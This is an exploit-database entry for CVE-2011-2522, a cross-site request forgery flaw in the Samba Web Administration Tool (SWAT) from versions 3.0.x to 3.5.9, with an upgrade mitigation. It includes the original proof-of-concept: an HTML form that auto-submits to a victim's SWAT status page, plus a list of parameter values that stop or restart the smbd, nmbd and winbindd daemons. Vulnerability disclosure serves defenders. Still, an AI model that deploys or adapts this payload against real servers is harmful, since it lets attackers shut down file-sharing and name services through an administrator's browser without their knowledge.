Cross-Site Request Forgery in SWAT (Samba Web Administration Tool)

vendor:

Samba Web Administration Tool

by:

Narendra

7.5

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: Samba Web Administration Tool

Affected Version From: Samba 3.0.x

Affected Version To: Samba 3.5.9

Patch Exists: YES

Related CWE: CVE-2011-2522

CPE: a:samba:samba

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2011

Cross-Site Request Forgery in SWAT (Samba Web Administration Tool)

A Cross-Site Request Forgery (CSRF) vulnerability exists in Samba Web Administration Tool (SWAT) versions 3.0.x - 3.5.9 (inclusive). An attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. This can be done by embedding a malicious HTML form in a web page, or by sending a malicious link via email or other methods. The malicious request will be executed on the vulnerable server, allowing the attacker to perform arbitrary actions with the privileges of the SWAT user.

Mitigation:

Upgrade to Samba 3.5.10 or later.

Source

Exploit-DB raw data:

<!--
# Secur-I Research Group - Proof-of-Concept
# ==========================================================================
# Title: Cross-Site Request Forgery in SWAT (Samba Web Administration Tool)
# Vulnerable versions: Samba 3.0.x - 3.5.9 (inclusive)
# Fixed version: Samba 3.5.10
# Product Homepage: http://www.samba.org/
# CVE-ID: CVE-2011-2522
# References: http://www.samba.org/samba/security/CVE-2011-2522
# ==========================================================================
-->

<html>
<body>
<form method=post action="http://VULN_SERVER:901/status">
<input type=submit onclick=window.open("http://securview.com") name="VUL_PARM" value="w00t!">
</body>
</html>

<!--
VUL_PARM could be one of the following:-
smbd_start, smbd_stop, smbd_restart : To start/stop/restart smbd(Samba) daemon
nmbd_start, nmbd_stop, nmbd_restart : To start/stop/restart nmbd(NETBIOS) daemon
winbindd_start, winbindd_stop, winbindd_restart : To start/stop/restart winbindd(Windows Name Service Switch) daemon
-->

Thanks & Regards,
Narendra.

Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. If you are not an intended named recipient, please notify the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium.